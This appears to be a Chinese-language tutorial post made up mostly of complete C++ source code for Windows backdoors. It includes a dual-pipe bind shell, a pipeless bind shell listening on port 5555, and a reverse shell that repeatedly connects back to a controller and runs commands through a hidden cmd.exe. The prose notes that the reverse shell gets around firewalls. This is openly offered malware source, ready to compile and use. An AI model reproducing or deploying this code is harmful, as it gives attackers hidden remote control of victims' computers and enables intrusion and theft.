1. 双管道被动连接型后门
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <iostream>
#include <windows.h>
#include <cstdlib>
#include <iostream>
#include <urlmon.h>
#include <WinInet.h>
#include <ctime>
#define CMD_LINE_LEN 512
#define RECV_BUF_LEN 4096
using namespace std;
#pragma comment(lib, "WinInet.lib")
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "ws2_32.lib")
BOOL fExit = FALSE;
struct ThreadInfoNode
{
SOCKET hSock;
HANDLE hPipe;
};
int SndMsg(SOCKET hSock, char *szBuf, int nSize)
{
int iOffset = 0;
int iCurr = 0;
if (INVALID_SOCKET == hSock ||
NULL == szBuf ||
nSize <= 0)
{
return(-1);
}
do
{
iCurr = send(hSock, szBuf + iOffset, nSize, 0);
if (iCurr == SOCKET_ERROR)
{
break;
}
iOffset += iCurr;
nSize -= iCurr;
} while (nSize > 0);
return(iOffset);
}
// 该线程用于从客户端接收命令并将其写入hWritePipe1
DWORD WINAPI ThreadInputProc(
LPVOID lpThreadParameter
)
{
ThreadInfoNode stNode = *(ThreadInfoNode *)lpThreadParameter;
HANDLE hPipe = stNode.hPipe;
SOCKET hSock = stNode.hSock;
char szCmdLine[CMD_LINE_LEN] = { 0 };
int iRet = 0;
DWORD dwWritten = 0;
BOOL fOk = FALSE;
while (!fExit)
{
RtlZeroMemory(szCmdLine, CMD_LINE_LEN);
iRet = recv(hSock, szCmdLine, CMD_LINE_LEN, 0);
if (iRet > 0 && SOCKET_ERROR != iRet)
{
if (!_stricmp("exit\n", szCmdLine))
{
fExit = TRUE;
}
WriteFile(hPipe, szCmdLine, iRet, &dwWritten, NULL);
}
else
{
WriteFile(hPipe, "exit\n", sizeof("exit\n"), &dwWritten, NULL);
fExit = TRUE;
break;
}
Sleep(50);
}
return(0);
}
// 该线程用于从cmd进程中获取结果并将其传送到远端
DWORD WINAPI ThreadOuputProc(
LPVOID lpThreadParameter
)
{
ThreadInfoNode stNode = *(ThreadInfoNode *)lpThreadParameter;
HANDLE hPipe = stNode.hPipe;
SOCKET hSock = stNode.hSock;
char szBuf[RECV_BUF_LEN] = { 0 };
DWORD dwReaded = 0;
DWORD dwTotalAvail = 0;
BOOL fOk = FALSE;
while (!fExit)
{
RtlZeroMemory(szBuf, RECV_BUF_LEN);
dwTotalAvail = 0;
fOk = PeekNamedPipe(hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
if (fOk && dwTotalAvail > 0)
{
fOk = ReadFile(hPipe, szBuf, RECV_BUF_LEN, &dwReaded, NULL);
if (fOk && dwReaded > 0)
{
SndMsg(hSock, szBuf, dwReaded);
}
Sleep(50);
}
}
return(0);
}
BOOL StartShell(const char *pcszIP, UINT uiPort)
{
BOOL fRet = FALSE;
SOCKADDR_IN stSockAddr = { 0 };
SOCKADDR_IN stClntSockAddr = { 0 };
SOCKET hSock = INVALID_SOCKET;
SOCKET hClntSock = INVALID_SOCKET;
HANDLE hProcess = NULL;
HANDLE hReadPipe0 = NULL, hWritePipe0 = NULL;
HANDLE hWritePipe1 = NULL, hReadPipe1 = NULL;
HANDLE hThreadInput = NULL, hThreadOutput = NULL;
HANDLE hThreads[2] = { 0 };
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
int iAddrLen = sizeof(stClntSockAddr);
int iRet = 0;
WSADATA wsaData = { 0 };
__try
{
WSAStartup(MAKEWORD(2, 2), &wsaData);
hSock = socket(AF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET == hSock)
{
__leave;
}
stSockAddr.sin_addr.S_un.S_addr = inet_addr(pcszIP);
stSockAddr.sin_port = htons(uiPort);
stSockAddr.sin_family = AF_INET;
iRet = bind(hSock, (SOCKADDR *)&stSockAddr, sizeof(stSockAddr));
if (SOCKET_ERROR == iRet)
{
__leave;
}
iRet = listen(hSock, 5);
if (SOCKET_ERROR == iRet)
{
__leave;
}
hClntSock = accept(hSock, (SOCKADDR *)&stClntSockAddr, &iAddrLen);
if (INVALID_SOCKET == hClntSock)
{
__leave;
}
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(sa);
// 创建2条管道
if (!CreatePipe(&hReadPipe0, &hWritePipe0, &sa, 0) ||
!CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0))
{
__leave;
}
// cmd产生的结果写入pipe0的写端, 木马服务端把远程服务器的命令写入pipe1的写端
// cmd从pipe1的读端接收命令,木马服务端从pipe0的读端读取命令
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError = si.hStdOutput = hWritePipe0;
si.hStdInput = hReadPipe1;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
char szCmdLine[MAX_PATH] = { 0 };
char szBuf[MAX_PATH] = { 0 };
// 获取CMD路径
iRet = ExpandEnvironmentStringsA("%COMSPEC%", szCmdLine, MAX_PATH);
if (!iRet)
{
GetSystemDirectory(szBuf, MAX_PATH);
strcpy_s(szCmdLine, sizeof(szCmdLine), szBuf);
strcpy_s(szCmdLine, sizeof(szCmdLine), "\\cmd.exe");
}
// 创建CMD进程
fRet = CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
if (!fRet)
{
__leave;
}
ThreadInfoNode stNodeInput = { hClntSock, hWritePipe1 };
// 该线程用于从客户端接收命令并将其写入hWritePipe1
hThreadInput = CreateThread(NULL, 0, ThreadInputProc, &stNodeInput, 0, NULL);
if (NULL == hThreadInput)
{
__leave;
}
ThreadInfoNode stNodeOutput = { hClntSock, hReadPipe0 };
// 该线程用于从cmd进程中获取结果并将其传送到远端
hThreadOutput = CreateThread(NULL, 0, ThreadOuputProc, &stNodeOutput, 0, NULL);
if (NULL == hThreadOutput)
{
__leave;
}
// 阻塞到这,直到线程结束
hThreads[0] = hThreadInput;
hThreads[1] = hThreadOutput;
WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
}
__finally
{
WSACleanup();
if (INVALID_SOCKET != hSock)
{
closesocket(hSock);
hSock = INVALID_SOCKET;
}
if (INVALID_SOCKET != hClntSock)
{
closesocket(hSock);
hSock = INVALID_SOCKET;
}
if (NULL != hProcess)
{
CloseHandle(hProcess);
hProcess = NULL;
}
if (NULL != hThreads[0])
{
CloseHandle(hThreads[0]);
hThreads[0] = NULL;
}
if (NULL != hThreads[1])
{
CloseHandle(hThreads[1]);
hThreads[1] = NULL;
}
if (NULL != hReadPipe0)
{
CloseHandle(hReadPipe0);
hReadPipe0 = NULL;
}
if (NULL != hReadPipe1)
{
CloseHandle(hReadPipe1);
hReadPipe1 = NULL;
}
if (NULL != hWritePipe0)
{
CloseHandle(hWritePipe0);
hWritePipe0 = NULL;
}
if (NULL != hWritePipe1)
{
CloseHandle(hWritePipe1);
hWritePipe1 = NULL;
}
}
return(TRUE);
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
StartShell("127.0.0.1", 8880);
return 0;
}
2. 单管道被动连接型后门
这种后门的方式与反弹shell的思路是一样,就不实现了。其特点是节省了一个管道。但消耗了更多资源并且无法执行类似cd之类切换目录的操作。主要思想是每次传来的命令就创建一个cmd.exe执行,该cmd进程执行完命令后就消亡。这样cd之类的命令就无法执行了,因为cmd进程都消亡了cd也没有意义。
3. 无管道被动连接型后门
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <iostream>
#include <windows.h>
#include <cstdlib>
#include <iostream>
#include <ctime>
#define CMD_LINE_LEN 512
#define RECV_BUF_LEN 4096
using namespace std;
#pragma comment(lib, "ws2_32.lib")
BOOL GetCmdPath(char *pszResultBuf, size_t nSize, const char *pcszCmd = "")
{
int iRet = 0;
if (NULL == pcszCmd || !nSize || NULL == pszResultBuf)
{
return(FALSE);
}
iRet = ExpandEnvironmentStringsA("%COMSPEC%", pszResultBuf, nSize);
if (!iRet)
{
GetSystemDirectory(pszResultBuf, nSize);
strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), "\\cmd.exe");
}
iRet = strlen(pcszCmd);
if (iRet)
{
strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), " /c ");
strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), pcszCmd);
}
return(TRUE);
}
BOOL StartShell(UINT uiPort)
{
WSADATA wsaData = { 0 };
int iRet = 0;
SOCKET hSock = INVALID_SOCKET;
SOCKET hClntSock = INVALID_SOCKET;
SOCKADDR_IN stClntSockAddr = { 0 };
SOCKADDR_IN stSockAddr = { 0 };
int iSizeOfSockAddr = sizeof(stClntSockAddr);
char szCmdLine[CMD_LINE_LEN] = { 0 };
BOOL fOk = FALSE;
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
do
{
iRet = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (SOCKET_ERROR == iRet)
{
return(FALSE);
}
hSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (INVALID_SOCKET == hSock)
{
break;
}
stSockAddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
stSockAddr.sin_port = htons(uiPort);
stSockAddr.sin_family = AF_INET;
iRet = bind(hSock, (SOCKADDR *)&stSockAddr, sizeof(stSockAddr));
if (SOCKET_ERROR == iRet)
{
break;
}
iRet = listen(hSock, 5);
if (SOCKET_ERROR == iRet)
{
break;
}
hClntSock = accept(hSock, (SOCKADDR *)&stClntSockAddr, &iSizeOfSockAddr);
if (INVALID_SOCKET == hClntSock)
{
break;
}
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdError = si.hStdInput = si.hStdOutput = (HANDLE)hClntSock;
si.wShowWindow = SW_HIDE;
if (!GetCmdPath(szCmdLine, CMD_LINE_LEN))
{
break;
}
if (!CreateProcessA(szCmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
break;
}
WaitForSingleObject(pi.hProcess, INFINITE);
fOk = TRUE;
} while (FALSE);
if (NULL != pi.hThread)
{
CloseHandle(pi.hThread);
}
if (NULL != pi.hProcess)
{
CloseHandle(pi.hProcess);
}
if (INVALID_SOCKET != hSock)
{
closesocket(hSock);
hSock = INVALID_SOCKET;
}
if (INVALID_SOCKET != hClntSock)
{
closesocket(hClntSock);
hClntSock = INVALID_SOCKET;
}
WSACleanup();
return(fOk);
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
StartShell(5555);
return 0;
}
4. 单管道主动型后门(反弹Shell)
这个后门的最大特点是控方作为服务端而被控端为客户端, 由于是由被控端主动请求连接主控端,所以不会有防火墙阻止之类的问题
#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include <cstring>
#define CMD_LEN_BUF 512
#define RECV_LEN_BUF 4096
#pragma comment(lib, "ws2_32.lib")
using namespace std;
BOOL fExit = FALSE;
struct ThreadInfoNode
{
HANDLE hPipe;
SOCKET hSock;
};
DWORD WINAPI RecvResultAndSendToServer(LPVOID lpThreadParameter)
{
ThreadInfoNode stNode = *(ThreadInfoNode *)lpThreadParameter;
HANDLE hPipe = stNode.hPipe;
SOCKET hSocket = stNode.hSock;
char szBuf[RECV_LEN_BUF] = {0};
int iRet = 0;
DWORD dwTotalAvail = 0;
BOOL fOk = FALSE;
DWORD dwReaded = 0;
while (!fExit)
{
fOk = PeekNamedPipe(hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
if (fOk && dwTotalAvail > 0)
{
fOk = ReadFile(hPipe, szBuf, RECV_LEN_BUF, &dwReaded, NULL);
if (fOk && dwReaded > 0)
{
int iCurr = 0;
int iOffset = 0;
do
{
iCurr = send(hSocket, szBuf + iOffset, dwReaded, 0);
if (!iCurr || iCurr == SOCKET_ERROR)
{
fExit = TRUE;
break;
}
iOffset += iCurr;
dwReaded -= iCurr;
Sleep(50);
} while (dwReaded > 0);
}
RtlZeroMemory(szBuf, RECV_LEN_BUF);
}
}
return(0);
}
BOOL GetCmdPath(char *pszResultBuf, size_t nSize, const char *pcszCmd = "")
{
int iRet = 0;
if (NULL == pcszCmd || !nSize || NULL == pszResultBuf)
{
return(FALSE);
}
iRet = ExpandEnvironmentStringsA("%COMSPEC%", pszResultBuf, nSize);
if (!iRet)
{
GetSystemDirectory(pszResultBuf, nSize);
strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), "\\cmd.exe");
}
iRet = strlen(pcszCmd);
if (iRet)
{
strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), " /c ");
strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), pcszCmd);
}
return(TRUE);
}
BOOL StartShell(const char *pcszIP, UINT uiPort)
{
SOCKET hSock = INVALID_SOCKET;
SOCKADDR_IN stSockAddr = {0};
HANDLE hReadPipe = NULL, hWritePipe = NULL;
HANDLE hThread = NULL;
SECURITY_ATTRIBUTES sa = {0};
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
WSADATA stData = {0};
int iRet = 0;
if (NULL == pcszIP)
{
return(FALSE);
}
__try
{
if (SOCKET_ERROR == WSAStartup(MAKEWORD(2, 2), &stData))
{
return(FALSE);
}
hSock = socket(AF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET == hSock)
{
__leave;
}
stSockAddr.sin_family = AF_INET;
stSockAddr.sin_port = htons(uiPort);
stSockAddr.sin_addr.S_un.S_addr = inet_addr(pcszIP);
// connect one time every 0.5 min interval
do
{
iRet = connect(hSock, (SOCKADDR *)&stSockAddr, sizeof(stSockAddr));
Sleep(500);
} while (SOCKET_ERROR == iRet);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(sa);
if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0))
{
__leave;
}
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdError = si.hStdOutput = hWritePipe;
ThreadInfoNode stNode = {hReadPipe, hSock};
hThread = CreateThread(NULL, 0, RecvResultAndSendToServer, &stNode, 0, NULL);
if (NULL == hThread)
{
__leave;
}
char szCmdLine[CMD_LEN_BUF] = {0};
char szCmdBuf[CMD_LEN_BUF] = {0};
do
{
// get command from remote server
iRet = recv(hSock, szCmdBuf, CMD_LEN_BUF, 0);
if (!iRet || SOCKET_ERROR == iRet)
{
break;
}
// build command
if (!GetCmdPath(szCmdLine, CMD_LEN_BUF, szCmdBuf))
{
continue;
}
// create cmd.exe process to execute command
if (!CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
continue;
}
// if recieve command "exit", terminate process and sub-thread
if (strstr(szCmdBuf, "exit\n"))
{
break;
}
RtlZeroMemory(szCmdBuf, CMD_LEN_BUF);
Sleep(100);
} while (TRUE);
fExit = TRUE;
WaitForSingleObject(hThread, INFINITE);
}
__finally
{
if (NULL != hReadPipe)
{
CloseHandle(hReadPipe);
hReadPipe = NULL;
}
if (NULL != hWritePipe)
{
CloseHandle(hWritePipe);
hWritePipe = NULL;
}
if (INVALID_SOCKET != hSock)
{
closesocket(hSock);
hSock = INVALID_SOCKET;
}
if (NULL != pi.hProcess)
{
CloseHandle(pi.hProcess);
pi.hProcess = NULL;
}
if (NULL != pi.hThread)
{
CloseHandle(pi.hThread);
pi.hThread = NULL;
}
}
return(TRUE);
}
int APIENTRY WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
{
StartShell("127.0.0.1", 9999);
return(0);
}
(完)